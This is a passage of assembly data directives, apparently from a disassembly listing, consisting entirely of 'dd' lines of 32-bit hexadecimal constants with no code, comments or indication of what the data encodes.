		dd 9F372247h, 0EA12351Bh, 0BFE82309h, 99EEC8A5h, 37BFF507h
		dd 0E5A0BEB4h, 243F07D5h, 14AFEFDBh, 0BC647695h, 4FCBAE45h
		dd 147ECC0Bh, 802D3757h, 0FD51FC2Ch, 2524624Bh,	6516967Ah
		dd 0BE5684FEh, 0BBC1DC9Bh, 3C0EBDD5h, 0CB81C0D3h, 5BE06C56h
		dd 0C497E964h, 37452135h, 123CF90Fh, 0F4E911A1h, 9F700CA9h
		dd 3273BC00h, 11929170h, 7848BBFCh, 7F0769E7h, 0FBAB5162h
		dd 4C25CF9h, 0B8EA39E3h, 0EDBB8043h, 3404516Bh,	0E1C5D22Bh
		dd 62F77E86h, 0AAE6F5h
		dd 9A821231h, 0F557C021h, 25919460h, 0B25F2F3Bh, 28F0D59Fh
		dd 57590997h, 2D3F16BDh, 0C2C809C1h, 9C4F5FEAh,	76BDE844h
		dd 0E3220CADh, 80659597h, 790CB960h, 94F1F24h, 0E84AD7E2h
		dd 2E7112D9h, 217AEAh, 31A16BFEh, 16B337D4h, 31697B34h
		dd 0E4CBA549h, 0C20045B6h, 0DC0282EAh, 2D53E55Bh, 0F30247D9h
		dd 9E5D1425h, 3F47450Fh, 3331DF35h, 4289DE8Bh, 0B75D2871h
		dd 84189176h, 4A82DF0Dh, 0FF4D909Dh, 250898E1h,	7AE71C61h
		dd 5F042E09h, 9807C23Dh, 0F92B0F88h, 0DAD02B2h,	825E0AABh
		dd 0ED6A1451h, 950BE8B5h, 0BD38934Ch, 98CE4BB9h, 0BF5CA934h
		dd 0B9C06E9Bh, 3ED73758h, 0B3217F04h, 14C069FEh, 0B982874h
		dd 60F98A24h, 70707773h, 0FBE200D0h, 0A20D7DFDh, 291248EFh
		dd 0F25699BDh, 0CE2F1401h, 162F0E45h, 0E0C0A6CFh, 2F7AD3F1h
		dd 0D97ECCE4h, 85E9BB60h, 0F7F60214h, 0D7381EEBh, 0A475DBC2h
		dd 3E85F4Dh, 59345B4Ch,	38E5B993h, 539F70EDh, 0E27A78E5h
		dd 8DFA4D0Eh, 6D2DA29Ah, 0A54C5CB7h, 12F4B47Ch,	0AF081407h
		dd 766D970Bh, 0FA4DEB1Fh, 72C75540h, 0AB3413E3h, 20DDAC9Ch
		dd 60500906h, 0C075D48Ah, 69E780EDh, 0E6FF6615h, 87411710h
		dd 9F7BC96h, 0DE5652B4h, 92B36284h, 0FA6D8157h,	31FD4DB7h
		dd 4E1EFD2Bh, 15AC91BDh, 0A7EA258Ch, 0CCBFFE6h,	0E969E149h
		dd 2C8EF87Ah, 0F568D70Bh, 5D022909h, 359FC396h,	0B9D1F9Dh
		dd 0B4740A7Fh, 414D8D58h, 136731Fh, 64D4DB81h, 0AD6B725Eh
		dd 84AF92CEh, 0F7CAEEC4h, 11271CA0h, 4295ED44h,	97425221h
		dd 0ABA491F6h, 5DFD3B16h, 0EAF5958Eh, 0BF465B76h, 8BA4D35h
		dd 81260A39h, 6DA4F812h, 16F125BDh, 49F59EEh, 9BFA1238h
		dd 80465C62h, 83FDD9B9h, 0AB4000C7h, 1F5B8E18h,	90BD0FDBh
		dd 9765889Dh, 8B5BE9B8h, 1EBFDFC7h, 0CC015F43h,	0A6E06981h
		dd 0B14827F5h, 68B72758h, 4E5720C2h, 1D3D3442h,	0D074B0D9h
		dd 7971C4B5h, 409200E1h, 0E3F93BCCh, 1F1CB685h,	838FA18Ch
		dd 1BA622C4h, 0BFE67F6Eh, 0EB19681Eh, 5C0A3E40h, 0E026691h
		dd 5EB3A9D8h, 0BEC62532h, 59842B9Bh, 0AC28BDF8h, 3B008C1Bh
		dd 53139E76h, 0B7B0E26Fh, 97AED098h, 0D0F9B602h, 7DF330F5h
		dd 0C1B0B9DAh, 0B0E2120h, 0E9B5095Fh, 2C9C02D2h, 0DC8A123Ah
		dd 0FDF5F7E8h, 26EDA83Ah, 39F72894h, 72A53005h,	2BC2F109h
		dd 0D60A5F28h, 2243E83Bh, 0F380121Eh, 0AE20F3E5h, 51163748h
		dd 25E29105h, 1382F0Fh,	25F8A18h, 77089953h, 39AD8C7h
		dd 0E6D3752Ah, 486A3570h, 95053AECh, 0F2FC12B3h, 5F220BF5h
		dd 0F2AB77B0h, 0EEF72D4Ah, 439EB4EDh, 71F19F61h, 0BB15C443h
		dd 2E7FB178h, 7CCD54Bh,	5BF1366h, 339AFBE9h, 32D6097h
		dd 68255B01h, 42DFCCBFh, 0BD107A8Eh, 960B2839h,	6E74DA8Bh
		dd 0C47D769h, 2E30FD25h, 0B79D965Bh, 0A1DB01D0h, 7B9D4901h
		dd 0E1C92FE0h, 0D1C58104h, 0F0E63A1Fh, 8A3016F2h, 1433486Fh
		dd 482A1910h, 4B5D3B7Ah, 19F2D1A6h, 3225532h, 7B7F30EDh
		dd 10B4F80Eh, 6D652C13h, 800207FFh, 0BD29A0EBh,	0B99722F5h
		dd 0F1D0BF42h, 0C9245886h, 0E6676404h, 0C22CBC2Fh, 0D48D0FFCh
		dd 0B45694C5h, 5F4B5D32h, 69E36D77h, 9F02DF7Bh,	75FFD3E4h
		dd 6D88C90h, 0F4057000h, 8149FD6Fh, 12E10B73h, 0E65C4D52h
		dd 5D131DE2h, 355DA832h, 393003Fh, 9ADBECCCh, 16736016h
		dd 78D97309h, 9A379572h, 0B22E2A01h, 0C1CA9C2Bh, 0F32909E4h
		dd 448F3604h, 0D37FBD25h, 0A5A038B6h, 9D73F208h, 3736DA09h
		dd 807F7975h, 0E8FDF9BBh, 5B9F6A43h, 0C2567837h, 9C471D09h
		dd 4EE059C7h, 9280428h,	3D30D120h, 6D5DB750h, 6BD8532Dh
		dd 5BEC0B14h, 0B6BD9620h, 38C1AACh, 0A8B9F941h,	0BAC54254h
		dd 0EFB11C16h, 0F4AEAC3Bh, 0EBE043F6h, 2102D3A6h, 660983BFh
		dd 1D97596h, 8DFE5313h,	0AFCCDF81h, 702173DDh, 2D897F08h
		dd 73D17585h, 2BEB5CBh,	0AC205E8Ah, 25C7FC60h, 17635A4h
		dd 81237D20h, 0B23B8592h, 85338F4Ch, 38BA2D69h,	9EAF5E3Ch
		dd 0E07850C0h, 0A6340230h, 0D381CE96h, 0BA209C3h, 93426E77h
		dd 0B75D58FFh, 1B489304h, 4AFAC6F8h, 81A7A9D5h,	5C9127BFh
		dd 0BF3D2E5Dh, 0CA85E3Dh, 0F79BE927h, 14BF7920h, 2EE5604Ch
		dd 64B74730h, 88E87790h, 0E6F84E24h, 0FF1AC101h, 0A70CCFBAh
		dd 1DF1E8h, 0D04FCCB4h,	66A8BBCBh, 2347D824h, 544BE20h
		dd 130EB952h, 9D807090h, 0A1A418D9h, 2AE9F8F0h,	0F7B86CFDh
		dd 4E307A1Fh, 0E4EF8E45h, 1B05A6C1h, 5E1DDE06h,	0D4A61518h
		dd 0F6E5776Bh, 0BB09D525h, 9AB32058h, 23A8778h,	0F2BDB1C9h
		dd 0F640F020h, 0D1BD6650h, 0DE42D52h, 0DD06100h, 0A84F34D7h
		dd 24D4951Ah, 5F2C2FDEh, 7CC9107Fh, 0E4FA0CBBh,	6052530Fh
		dd 5DAE295Bh, 0D681C093h, 1CDF3772h, 7E9D8925h,	0E6324EA8h
		dd 331AB24Ch, 0B68DDE98h, 88411714h, 0C78009EDh, 8547714Eh
		dd 0D3D1B589h, 99ACFF79h, 0EFBD201Ah, 0BB781201h, 4AC10838h
		dd 0F49EBC2Bh, 6AAAC1BAh, 506E3E02h, 3E3A4A00h,	609071B3h
		dd 32004598h, 5B3DBBB8h, 97610CCBh, 0BE011654h,	79C1BD56h
		dd 0F0D6167Ah, 770FBAD2h, 924274Bh, 0AD603790h,	740C9FEh
		dd 2F0BAB21h, 0D67EA99Dh, 0E7FEF944h, 10A4F0C8h, 2D6A037Ch
		dd 0FAD8ADA5h, 3BBD23B1h, 0E912F0F8h, 8440E3EFh, 233E1868h
		dd 0BF7C0014h, 7BED825Eh, 0FC0BA298h, 5D7E42C5h, 7EACEEB5h
		dd 98594CE0h, 0B03E00EEh, 31AE68F4h, 2F580985h,	2D0184EDh
		dd 87B26042h, 5125BF72h, 64715Bh, 23096656h, 4B022C8Eh
		dd 0C54061F3h, 0C04E5CDEh, 0F2DBD89h, 6057DC9Fh, 0B6ADA348h
		dd 9BDA7700h, 0F5C8F450h, 4DA80918h, 6873CEB8h,	0DA181A71h
		dd 2D235600h, 0BB26E5C4h, 0B0131275h, 6964E36Ah, 422F5FEEh
		dd 9DDBBAB7h, 1D9BED81h, 5EE32C8Ah, 80D307ABh, 3B7309F3h
		dd 0B792682Fh, 7FDC9F14h, 44075908h, 6E16BA29h,	0ACA831BAh
		dd 0DDC20808h, 0FA25BE41h, 7E823C0h, 0B93E688h,	77A5CF49h
		dd 92FE5D8Bh, 0E2BE5F44h, 4C2E4898h, 28602666h,	0F7193509h
		dd 0B85FE046h, 17BA6E8h, 35166DB2h, 0E4FE92ECh,	2E4C4F8Ah
		dd 50D00235h, 5C615E03h, 0E1F99237h, 258D2033h,	0C82B82A8h
		dd 0C191BB01h, 0D18B431Ch, 0E9FE7E84h, 0DB44CC5Dh, 49380DB8h
		dd 2B44124Eh, 0BB2F12EBh, 22BB9388h, 33D2BC2Eh,	0E972D8FAh
		dd 0C4923458h, 70AE3161h, 0C9B5294Ch, 19220147h, 0B4EDB323h
		dd 895F8176h, 0FC4E4295h, 8EB7B8D7h, 0D4ED9D14h, 9969E0EFh
		dd 486E68B4h, 7AC0AD18h, 81C01BF0h, 926843Bh, 0A0DCB17h
		dd 3D89195Eh, 8E165D1Dh, 188B59Dh, 0DCB932C7h, 189E2B0Fh
		dd 0A2D44680h, 0CB05D3F0h, 398B3AB9h, 0F40045F2h, 308F3DE6h
		dd 710B688Dh, 26BB725h,	41241ACh, 4A19B85Bh, 0BABCE1A9h
		dd 0E09D087Eh, 5ABD96BAh, 5EF2E2FCh, 48642D91h,	51FEC82Ah
		dd 9A87AC00h, 935FFB74h, 4F1C0050h, 4A947720h, 4C257DE2h
		dd 61E3768Bh, 20C02B5Fh, 314B1D05h, 9AB35EEh, 1973DA48h
		dd 0DC1917F9h, 180ECBE4h, 325F5756h, 0D48099DBh, 67384E7Ch
		dd 0F65D822Fh, 219DC169h, 25EA060Ah, 3CC5142Dh,	591B52Dh
		dd 0BA4DD54Bh, 0D9B72861h, 0FD0ECF52h, 3DB59FE4h, 0DDEA0003h
		dd 0D52A9569h, 0E5B39601h, 0F8E7807Bh, 5B8AD920h, 0F426A28Eh
		dd 12A0C0B6h, 2D029677h, 9DC549D9h, 1A71D5F1h, 1C18584h
		dd 0DC0EC816h, 9F966900h
		dd 0E3F4B9FDh, 897A0E56h, 0F276DA19h, 785B2DBFh, 2A99206Ah
		dd 0C1493376h, 0C5612591h, 0BB87133Ah, 0C758A87Bh, 3725AA4Ah
		dd 382EAFC8h, 0F8045639h, 0F12C53E2h, 4ADE3A2Eh, 84DDDC89h
		dd 9AAEDFDBh, 0C817C8EDh, 504801DFh, 3E959D31h,	0BFE14B40h
		dd 4B92329Ah, 1C7A8A03h, 0FF270450h, 0D202E337h, 5C4E2BB4h
		dd 43F5071h, 40894FB5h,	7A1C2D6Bh, 1A5AF748h, 1254AE42h
		dd 8905DD2h, 0FB00BF09h, 5679D7F8h, 0E996040h, 0E595922Dh
		dd 82DBB92h, 0BB8A4BE3h, 540B066Eh, 0C5FC4C6Eh,	60BDC404h
		dd 5F156EEFh, 0B14152EEh, 23ED7FDFh, 0A121A697h, 98822042h
		dd 0F80A9BF3h, 0D2C57377h, 9F707857h, 7B567162h, 0A05AFF91h
		dd 6E95204Fh, 20574AA8h, 0D0B44160h, 0E1D36600h, 2EE53CF2h
		dd 0CFE3023Bh, 5B6B7C9Fh, 8160515Ch, 2F3BFED3h,	0EA583F88h
		dd 9C5E925h, 0C40F4DAAh, 0DCA3BAFEh, 0FCCB8701h, 6EFA8A4Ch
		dd 0C1A94C2h, 0CE00BF5Eh, 68577124h, 7A0A4246h,	26A60950h
		dd 52702C55h, 1541B91Fh, 5014F62Fh, 7EB7481Ah, 0ADFDC474h
		dd 0A844A79h, 0F79FA6FBh, 509BFCCBh, 98BD8A0Fh,	2DEC5477h
		dd 98DBD8E9h, 0EB431CD9h, 0AF13DC65h, 8480A98Ch, 65859F88h
		dd 0F4807E9Dh, 502B9616h, 25DF68E0h, 8FC2F98Ah,	0E0C7A34Fh
		dd 0B75CEBC0h, 8D294BD5h, 0CD9029Fh, 956666ABh,	0C505F125h
		dd 0D67CA6ABh, 0CF675B00h, 4BBC5773h, 0AC694F63h, 0C4EFC064h
		dd 0B28A1Fh, 7E78CE0Fh,	0CF8663F2h, 11E5BBA0h, 5CD20982h
		dd 4907DED1h, 5B5DFFF3h, 0D2A936D3h, 9ECE4CA0h,	0E5461F14h
		dd 5F0CE1B7h, 4D85844Eh, 96005671h, 54DE60BFh, 68EF5005h
		dd 0D7CC4AC8h, 8390B5F5h, 0C001E97h, 53AADAC4h,	0E18F54h
		dd 0BD4E68D6h, 0F5BF808Ch, 7799D12h, 0B10600BCh, 727F9246h
		dd 742F2925h, 0A0D6E92Fh, 0CD945220h, 0CCEDD49h, 36A5EC00h
		dd 1B69EBA8h, 0BA5F4A5Bh, 0BF6097C9h, 489073D8h, 8C07FBF7h
		dd 990C07D0h, 0CEB31C0Ah, 0B7CB32Bh, 1C46D6h, 6A19F9E1h
		dd 17A0B5B8h, 9B6126EFh, 0C746C124h, 0ED0196Dh,	0B5890B8Bh
		dd 9EF71E01h, 0DEEACBE5h, 0B51A982h, 97741CDDh,	12ADA872h
		dd 2FD661EFh, 0B72227E9h, 4E0EBCD7h, 6FABBCC4h,	0F983B0BCh
		dd 4205A5Bh, 925A22F9h,	4CDD6131h, 0D9B512FEh, 8BC4E313h
		dd 19DBF24h, 86A82B8Eh,	0FE7A94F6h, 3F4B1F3h, 0C01C880Fh
		dd 624C432Ch, 39ECD07Fh, 98FC742Fh, 95C0B7B0h, 35451D1h
		dd 0FF21241h, 0F7E9320Eh, 0A982C6B8h, 85C90C2h,	5A6A0966h
		dd 0E270EB2Dh, 3839EBBFh, 8DCA6096h, 803C2848h,	5E1FB864h
		dd 9AEB07A3h, 73F35210h, 0E8D42E2Fh, 0FD33A3Eh,	0CE575650h
		dd 965B255Fh, 0FFE0E0E6h, 0B02AA22h, 0BF621578h, 7847D9Ah
		dd 0F5CAEB2Ah, 22DF8104h, 0ACA3B9CFh, 3D128C16h, 0BE09F813h
		dd 67F25755h, 7AAA614Bh, 6C280759h, 7779045h, 8966D680h
		dd 4D7BB853h, 5B273F6Dh, 279A35F7h, 0E30371ECh,	0B9BD2B52h
		dd 0BC554E32h, 0DBAFF4E7h, 702A8086h, 2CF7A1B9h, 11C3222Ch
		dd 5F511771h, 0C5001EA2h, 0A726D5FAh, 877CF178h, 56AB0997h
		dd 0E200DC2Ch, 8660A79Eh, 97DFF07Eh, 4677A709h,	52954EB3h
		dd 0D36BAF79h, 76051D23h, 64FF5678h, 0D688AC9Eh, 0B7E8EF84h
		dd 6AB76A27h, 0CF7F2C84h, 0C7AF0CBBh, 6178DF06h, 0D6DA811Fh
		dd 744A309h, 3BE4E76Bh,	0B2BF64ABh, 29DF00ACh, 0CE34986Fh
		dd 347F5FD7h, 9884EF4Dh, 1081F852h, 172EE133h, 0E317B6A9h
		dd 0D3920A2Dh, 444826B6h, 0D59AEEFCh, 4DC414C8h, 504437FBh
		dd 0A6C4C0CFh, 0C48A7F4Bh, 0BB244E35h, 71BC6Fh,	21523E80h
		dd 3197AE08h, 5B11BD38h, 4B5B6AFAh, 4407398h, 91D65B17h
		dd 1BF165D8h, 0B201F67Eh, 0FA309018h, 174C12A6h, 2FFDE187h
		dd 80C27CBDh, 0CB5CE1EFh, 71F16Bh, 2D03C2F4h, 4E166724h
		dd 5EBD890Fh, 911F51A2h, 2397801Bh, 7F87A43Ch, 0B0825AC2h
		dd 0D3952A3Ah, 0B662A52Ah, 5BE01ACDh, 0B5EB8EE8h, 1A6444EFh
		dd 0CCA76A60h, 0DA2B7002h, 5C1FE977h, 0EBBD92D0h, 0C197D65Dh
		dd 0F205316Fh, 0ACF4DD17h, 1F9516B0h, 954F9BBBh, 0DF18D8CAh
		dd 50C21603h, 5A25BD09h, 6580B2DBh, 0C1CEB652h,	0B834B204h
		dd 0AEC5EC4Fh, 6A92E0FFh, 2DEE7BCh, 8CB30F6Dh, 0DA832E15h
		dd 0C88CE8B8h, 77135D63h, 0C6EEA32Bh, 692074A1h, 0AF6AF222h
		dd 0B8A640E9h, 85142B41h, 0BB6080Eh, 55152865h,	5C0096Dh
		dd 1BFF54Bh, 71A88818h,	3B3FE780h, 0E305E6B8h, 9284F6CCh
		dd 51200CADh, 3F4266h, 2E0F126Ch, 48B9D9BDh, 0ECC8604Bh
		dd 3EAF7079h, 0E180301Bh, 5258F58h, 0B018617h, 1E2845F4h
		dd 0AF725EDFh, 4895B09h, 680053BDh, 221680ABh, 0BD3CB09Bh
		dd 11AD2402h, 9DE369CFh, 0DE0B95B0h, 3B8F1BE9h,	0E7CADD5Ch
		dd 0BF5307B3h, 34D0D391h, 9F8F0F5Fh, 1825845h, 571ABD9Dh
		dd 0EC89A039h, 57C90485h, 494979D1h, 5B59E2FDh,	0CA2F7039h
		dd 0F4A8D900h, 0D8603980h, 21024E6Ah, 0E00DDDCDh, 5707FFADh
		dd 0A8D81B68h, 11405095h, 42022054h, 0E7B02C3h,	0D91067E6h
		dd 9D09DCA2h, 0BADF98C2h, 9530F75Eh, 6DE0A7EBh,	98E93312h
		dd 6F8907F3h, 99F36809h, 27FCE678h, 0A15457D3h,	1259FF7Ah
		dd 0C131FC0Ah, 55B92012h, 20D0E8D2h, 0B790001Fh, 0BF52506Bh
		dd 411E8292h, 53E55B5Fh, 0A0FEA789h, 8E35F7A5h,	4238199Ch
		dd 177BCA03h, 0FBA40DACh, 5D23A409h, 7B951814h,	45511715h
		dd 0AEC563AEh, 28E65584h, 7B6D54E1h, 82935FFCh,	3D7D08E5h
		dd 0E270095h, 0A094A59Ah, 0E0B17DE4h, 0C74F9980h, 4B529DACh
		dd 3501D81Eh, 34600141h, 0A3A3A3B0h, 92AEB45Fh,	0A20EFA12h
		dd 542DA7BFh, 0FF69259Fh, 0DD3DA817h, 52651BDh,	0AE14E58Dh
		dd 0CD1186E3h, 0BF92DF11h, 346FFBE1h, 2D55FC51h, 86827122h
		dd 8CE9AFBBh, 0E980DA4Bh, 4229BD0Bh, 32245428h,	898C08BCh
		dd 0C2D10D0Dh, 0C1E9FB68h, 0F70923F1h, 0B5F2709Eh, 0EB50F341h
		dd 0A1FFBAC0h, 0F287174Bh, 0C931C390h, 1239695Eh, 2360D6FEh
		dd 77F0EB2h, 0DAD63271h, 9D360034h, 723CD9E4h, 59B52F15h
		dd 0C7F88045h, 3879B3Fh, 1B203Eh, 0AFD17C6Dh, 2D7DA828h
		dd 72735F61h, 80FEF0B2h, 0E9D7DFBCh, 0BB19C061h, 29FC890h
		dd 5F269A97h, 1AA01610h, 0CF610803h, 0B08F054Dh, 128859DCh
		dd 0F140CD09h, 9EA92A34h, 12ECF98Ah, 4038F6F8h,	204125C6h
		dd 9624F104h, 6280A6ACh, 979B6F22h, 0AFCA1D02h,	80D3344Bh
		dd 5B8775D9h, 0E3955A31h, 9DDF849Fh, 7855CF11h,	26F930A4h
		dd 8D5EAD01h, 673397D6h, 58CEAF98h, 0B6773209h,	0CA90FD09h
		dd 98AA84B9h, 0F277A9C2h, 0FCE12DBDh, 0B8002071h, 783D39D7h
		dd 0EA710047h, 2D86E19Fh, 0A53DF809h, 1DACDFCAh, 0FBFC5BC5h
		dd 0A3D24F9Bh, 8D0104DAh, 61BA1DFDh, 0C46A636Bh, 0E302BAABh
		dd 0F6BECF7Ch, 0D4865669h, 0BC001B46h, 5FE6362Bh, 0BB2775D4h
		dd 0FCD790F5h, 7A6138EDh, 0D4B4A580h, 0F7A88248h, 250BDD4Dh
		dd 0DF39EA5Fh, 0D6E94DCDh, 2952409Ah, 125ECDB5h, 0E2954BD3h
		dd 7D365718h, 1CB4E3A0h, 4D094F2Dh, 9BDC5A5h, 0A240A1E0h
		dd 67AF880Dh, 1A263E40h, 82195E1Eh, 0FB7C0AE7h,	0EFA0C649h
		dd 1189F141h, 4DC9D6Bh,	84E2BEABh, 0C819DB0h, 4AE38080h
		dd 813BDB5Ch, 8D755E19h, 282BAC31h, 2A8B1FE8h, 99235CEh
		dd 31CD8D29h, 0F6EEECDDh, 9CD1B57Dh, 5CE1FF42h,	4735080h
		dd 0A23D9Fh, 5E50E546h
		dd 8B4B766Eh, 5F2D838Ah, 50D8A373h, 0B1AFA1F4h,	623307C2h
		dd 9C55124Dh, 7EF345F5h, 0BF603A8Ch, 9403E637h,	98F215C8h
		dd 98FC57B3h, 0DF8726FCh, 0E6AD1250h, 9C71B457h, 6A703E59h
		dd 0AB72259Fh, 0F07456C2h, 0A57D804Fh, 2FF8C3Dh, 0BEC5603Ch
		dd 455C6AACh, 5E01598Bh, 6907F493h, 858B67EAh, 9D098B18h
		dd 0FD12A9D5h, 6C49096Dh, 89D50C64h, 905DB1B5h,	0F7FD524Fh
		dd 68EEBF03h, 0FDDD26CBh, 0B59DB8D5h, 1C0F3F46h, 41EE825Eh
		dd 28F0F47h, 2AFE8A11h,	20BF2C13h, 2882C81h, 92A19A01h
		dd 6EA97D41h, 0B8008268h, 0B7685B65h, 764B8F9Dh, 78B6E2h
		dd 9ED98809h, 0E2D7FB2Ch, 0A3E668EEh, 44890F1Eh, 90E0E552h
		dd 909E1348h, 0B88FE976h, 80414F72h, 70EF8013h,	591A7395h
		dd 3F8181Bh, 30F4982Fh,	0D1FDC078h, 21AF55B3h, 24287E61h
		dd 23E80096h, 1A6BD9DFh, 0F4B57BE1h, 0CBE9070Dh, 0A17C0B01h
		dd 7E7417DEh, 4052EED6h, 0AC5F9FB3h, 3BA655DAh,	0AAF526B9h
		dd 0BBC98C9Ah, 2A408FF4h, 2F5F27h, 201B1019h, 385111C3h
		dd 3FAED8EFh, 0FC30B809h, 0A0867175h, 8C614996h, 156D9D76h
		dd 4C6BDBE0h, 31752CAAh, 27BD292Ah, 4E40744Fh, 16751BA3h
		dd 0EABD3356h, 4689A321h, 0B87DED7Eh, 806F4AB6h, 75B96617h
		dd 7D20E64Fh, 3FD4895h,	0F35030FCh, 69E839D4h, 60B55E26h
		dd 4F800FF0h, 5A7EB308h, 9796E4C8h, 800029B7h, 0A2FB393Dh
		dd 0B3C0125Dh, 0EAC9C56Fh, 41C0C0DEh, 64964CF7h, 155C6E16h
		dd 0F95A90E8h, 72680272h, 4118821Eh, 0ED24DE41h, 9D1D3D8Dh
		dd 8283DB5Bh, 0C08483CCh, 811F69D4h, 3CAC7BF5h,	312D48DFh
		dd 0FD169016h, 0BE32F0C1h, 387210A6h, 5009A74Bh, 0E012CBE6h
		dd 0E2BE640Ch, 4A92024Bh, 0F750A0B0h, 7B696B6Fh, 4F562FC1h
		dd 6C18E9C0h, 0BCDF4E8Bh, 1239B604h, 9E48E9FCh,	0E04BC584h
		dd 2FC4F4EEh, 28B0F18h,	2D54B323h, 9DF584B7h, 0D8817180h
		dd 14971710h, 0B454474h, 2FF955FAh, 4B324A38h, 80579E04h
		dd 8CE879E1h, 3D850038h, 9D0373ACh, 45B512F1h, 1218954h
		dd 24C765FDh, 0E412D627h, 0B7B3F55Dh, 0D2B3AC5Ah, 0A24F55B3h
		dd 0EB1807A6h, 0B9106939h, 19B2838h, 7EA68CCEh,	0E8BCB610h
		dd 9639CB55h, 0BB04F50h, 8AB54B9Dh, 60B64E21h, 323D597Ch
		dd 0A47FEB4Bh, 1CEB04Ah, 0A81254B5h, 0A0925D1h,	0B579E5Eh
		dd 4B90FE5Eh, 0D3BDDCC6h, 0DFB95ADEh, 71A96B09h, 59B4158Ch
		dd 9EBC1F4Ah, 0A05BA6B4h, 4B99957Eh, 0C8AA3548h, 5B000A65h
		dd 0B9B18D1Bh, 275F730h, 80EDC8FCh, 265C63E3h, 0D0AB0916h
		dd 12C3814Bh, 6F366512h, 0BA360FE1h, 0E64A60F0h, 0F6A8BB01h
		dd 15C99D29h, 802A702Eh, 87A3C1E7h, 0E57534DAh,	0FAB5A7DCh
		dd 6079CC2Fh, 0CB814621h, 1827B835h, 0E2DF5E5Dh, 941C2F71h
		dd 0F116D496h, 1E02967Ch, 57501640h, 0E449B9DEh, 0EE960011h
		dd 31D4AB2Ch, 0C012E191h, 488DB17h, 6E779Bh, 0B860D992h
		dd 77D699EBh, 5B6FFA0Bh, 0CB53ED96h, 0F76C92FFh, 0B051A265h
		dd 14F478F9h, 4ECC7A97h, 8D2DD846h, 0F52F352Dh,	9D8597B8h
		dd 60C92043h, 0F6A876h,	0BA98D58Ch, 0AC336552h,	0A70B8926h
		dd 161C4508h, 0D0FDC896h, 60A2E400h, 507AAA2Bh,	96D9268Bh
		dd 79E4DE47h, 0BD892904h, 0E2EE20CDh, 0EFACCFh,	3A72DC8Bh
		dd 47E82A96h, 6B5FE155h, 6881D2FCh, 2BF98501h, 19885A9Eh
		dd 0D21D2FC0h, 3863274Ch, 89D63FF7h, 9E718E32h,	251C04A6h
		dd 0C46971E5h, 50574B5Dh, 0E75F4ACAh, 0B57B5645h, 0D133E0EFh
		dd 2707E948h, 0E8B5F505h, 0B6601A13h, 9030ABFh,	0BA95F9B5h
		dd 0B1638FEh, 1685DABAh, 61FB1AA9h, 9F58DC6Fh, 32808980h
		dd 0CCEAAC3Eh, 0CEA40525h, 0AEF35CE9h, 6E01047Ah, 37963193h
		dd 0E17E89D5h, 0AEB6710Dh, 0E970D4A0h, 4A939548h, 0F83AB0CDh
		dd 33039625h, 270231BDh, 417B901Ah, 94F0043Ch, 20EA5065h
		dd 53D8FC7Ah, 0DC2A4200h, 3119FEE3h, 0F4C49F90h, 9D40D43Dh
		dd 0C900B5D8h, 0E4D3BBBFh, 3D820287h, 6A6D3AB3h, 807FB757h
		dd 6D37BE1Eh, 2D2F0A89h, 0C76290C5h, 796100CAh,	50A3BD68h
		dd 0D7F0808Ch, 2C26381Eh, 626E714Ah, 8F293F85h,	0C54F42FEh
		dd 0B05C0ECCh, 59257524h, 382688D2h, 0D725972Ch, 8FB6BA66h
		dd 4D47CDCh, 6667A4DBh,	87E4EE11h, 0F7D1978Dh, 0FCA04EBDh
		dd 0E0110BBEh, 0E4379061h, 0AAB1AC80h, 13EF9A78h, 0BD6AE3B7h
		dd 98BC3Bh, 774DE174h, 67735F9Bh, 6FEF175Fh, 0B1B8024Ah
		dd 0C02B097Eh, 0B520F139h, 6DA53EC5h, 84DE47BDh, 0E971AE60h
		dd 6309143Dh, 83D001AEh, 94B31768h, 1296F4F8h, 0E282B07Ch
		dd 0A0A29EA1h, 9D1BCDCAh, 73A5F579h, 96BB508Bh,	1A5C903h
		dd 9AAD2065h, 0EE35153h, 1CC04150h, 8260CA0h, 0E0713D00h
		dd 8E568FB3h, 5CFC0E49h, 23E25B43h, 0D6CBEDBDh,	5F78E9C4h
		dd 6BABDFC4h, 1A23CCh, 526BD180h, 6E5BE34Ch, 908ACF83h
		dd 970C84E9h, 3021C116h, 7B6D2738h, 0F56DE41h, 125472FAh
		dd 0E35FF88Bh, 8A9024AFh, 2B138628h, 8E5335BDh,	23B76EAEh
		dd 62920018h, 80D49D66h, 0A27FDF28h, 0BB96FE9h,	2AF1BD82h
		dd 0A76B45D7h, 754020EDh, 3F197E41h, 4C4CEDB1h,	6A6CD7C1h
		dd 73BC3B3Dh, 0A9FF129Eh, 0AC3FB973h, 20B716E0h, 0FE4FF3ACh
		dd 0CC350960h, 0B0697B9Eh, 0FBB109DCh, 0A9732BFAh, 9D822010h
		dd 0E6750B21h, 0C6E220BFh, 71E43EC4h, 0BDCF60EFh, 128311C5h
		dd 0AE7AF02Ch, 0BD333370h, 4B0B5381h, 0CFA2B71Eh, 99A07116h
		dd 1958BBB6h, 8ABF0297h, 42BB5CFDh, 8FC26BB3h, 89957AD0h
		dd 40D856B1h, 872F2DA4h, 8B68E714h, 0ECE1C0B3h,	730B099Eh
		dd 5E947111h, 1616EBF1h, 0C3B06152h, 0B1D1ECD9h, 0C159AD32h
		dd 60FB8292h, 2CC5DEB4h, 7503C82Fh, 0E95F6CA2h,	0F8AE57Eh
		dd 7B3B708Eh, 0BF01B2B1h, 39CDAE1Ah, 55E0002Eh,	0D7814947h
		dd 0A3B04B08h, 72214F63h, 103F3621h, 25316FBBh,	0D6730FB8h
		dd 0D9950185h, 0D540F622h, 6123DB9Ch, 22B9121h,	0D72C5EBFh
		dd 474ED771h, 0F1088E2Dh, 5BCAA5F5h, 5FCF08D5h,	4D09A226h
		dd 4294711Fh, 105B33Bh,	0C96485EAh, 72C26A78h, 0AE5B0527h
		dd 1CC94B9Ah, 99D37E30h, 917F6E07h, 0C004CEC7h,	2D354280h
		dd 561D5DB9h, 58E78009h, 0B4DF9470h, 957709D0h,	78010D37h
		dd 0C02B2A02h, 39F0D826h, 644F8F11h, 207A09B1h,	5CF5244Bh
		dd 47220A0Fh, 8511E29Bh, 63DC558Ch, 1D20E7A0h, 649A9514h
		dd 0B4D78A8Bh, 0FDD94A23h, 0D5958204h, 69EE752Fh, 8D088143h
		dd 42522F41h, 0CCCA7F0Ch, 913FB555h, 2CA8914h, 751F3D05h
		dd 60E05BE5h, 3032DE81h, 9520C975h, 3ECB1E7Dh, 81A55961h
		dd 1AB22ABFh, 0F282E3Ch, 0FC68A79h, 5B012375h, 0E23CE1B5h
		dd 0D5D0C22Fh, 0AABF0408h, 0BC5FC02Eh, 26F9357h, 9630EA5Bh
		dd 5B1258BFh, 946F8A3h,	71B49FD7h, 0DF0FBD3Fh, 1C028409h
